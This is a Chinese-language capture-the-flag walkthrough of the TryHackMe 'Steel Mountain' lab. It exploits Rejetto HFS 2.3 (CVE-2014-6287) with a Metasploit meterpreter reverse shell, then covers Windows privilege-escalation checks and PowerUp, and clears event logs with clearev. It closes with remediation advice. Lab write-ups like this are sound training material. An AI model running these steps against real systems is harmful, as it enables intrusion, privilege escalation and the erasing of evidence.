【THM】offensive-Steel Mountain
字数 1466 2025-08-29 08:29:41
基于Rejetto HTTP File Server 2.3漏洞的渗透测试教学文档
1. 初始信息收集
1.1 端口扫描
使用Rustscan进行快速端口扫描:
rustscan -a <目标IP> --ulimit 5000
使用Nmap进行详细扫描:
nmap -sC -sV -p80,135,139,445,5985,8080,47001,49152,49153,49154,49155,49157,49163,49164 <目标IP> -oN nmap.log
扫描结果分析:
- 80端口:Web服务器
- 139/445端口:SMB服务
- 5985端口:MS HTTPAPI服务
- 8080端口:HttpFileServer服务(版本2.3)
- 47001端口:处理HTTP请求的内核程序
- 3389端口:SSL服务(加密RDP会话)
1.2 Web服务枚举
80端口Web服务:
- 查看最佳员工照片
- 检查源代码获取潜在用户名信息
8080端口HttpFileServer 2.3:
- 文件服务器功能:存储和管理数据文件,允许网络内其他计算机访问
- 可直接通过浏览器访问文件服务器界面
2. 漏洞研究与利用
2.1 漏洞搜索
使用Searchsploit查找HttpFileServer 2.3的漏洞:
searchsploit http file server 2.3
检查特定漏洞详情(CVE-2014-6287):
searchsploit -x windows/remote/34668.txt
2.2 Metasploit利用
在Metasploit中搜索相关模块:
search rejetto
search cve-2014-6287
使用漏洞利用模块:
use exploit/windows/http/rejetto_hfs_exec
3. 漏洞利用步骤详解
3.1 配置Metasploit模块
-
设置目标IP:
set RHOSTS <目标IP> -
设置目标端口(通常为8080):
set RPORT 8080 -
设置payload(推荐使用reverse TCP):
set payload windows/meterpreter/reverse_tcp -
设置本地监听IP和端口:
set LHOST <本地IP> set LPORT <监听端口> -
执行攻击:
exploit
3.2 后渗透阶段
成功获取meterpreter会话后:
-
获取系统信息:
sysinfo -
获取当前用户权限:
getuid -
尝试提权:
getsystem
4. 权限提升技术
4.1 PowerShell枚举
使用PowerShell进行Windows权限提升枚举:
# 检查系统信息
systeminfo
# 检查已安装的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 检查运行的服务
Get-Service | Where-Object {$_.Status -eq "Running"}
# 检查计划任务
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"}
4.2 常见提权技术
-
服务漏洞利用:
- 检查弱权限服务
- 检查可写服务路径
-
AlwaysInstallElevated:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated -
未引用的服务路径:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
5. 获取管理员访问权限
5.1 使用本地漏洞提权
-
使用Metasploit的本地提权模块:
background search suggester use post/multi/recon/local_exploit_suggester set SESSION <会话ID> run -
根据建议选择合适的本地提权模块
5.2 使用PowerUp.ps1脚本
-
上传PowerUp.ps1脚本:
upload /path/to/PowerUp.ps1 -
加载并执行脚本:
load powershell powershell_shell . .\PowerUp.ps1 Invoke-AllChecks -
根据输出结果选择适当的提权方法
6. 清理痕迹
-
清除事件日志:
clearev -
删除上传的文件:
del PowerUp.ps1 -
检查并删除创建的持久化后门
7. 报告编写要点
- 记录所有发现的开放端口和服务
- 详细描述漏洞利用过程
- 记录权限提升方法
- 提供修复建议:
- 升级HttpFileServer到最新版本
- 限制对文件服务器的访问
- 应用最新的Windows安全补丁
- 遵循最小权限原则配置服务账户
附录:常用命令速查表
| 用途 | 命令 |
|---|---|
| 快速扫描 | rustscan -a <IP> --ulimit 5000 |
| 详细扫描 | nmap -sC -sV -p<ports> <IP> -oN nmap.log |
| 搜索漏洞 | searchsploit <服务名/版本> |
| 检查漏洞详情 | searchsploit -x <漏洞路径> |
| Metasploit搜索 | search <关键词> |
| Meterpreter系统信息 | sysinfo |
| Meterpreter提权 | getsystem |
| PowerShell系统信息 | systeminfo |
| PowerShell补丁检查 | wmic qfe get Caption,Description,HotFixID,InstalledOn |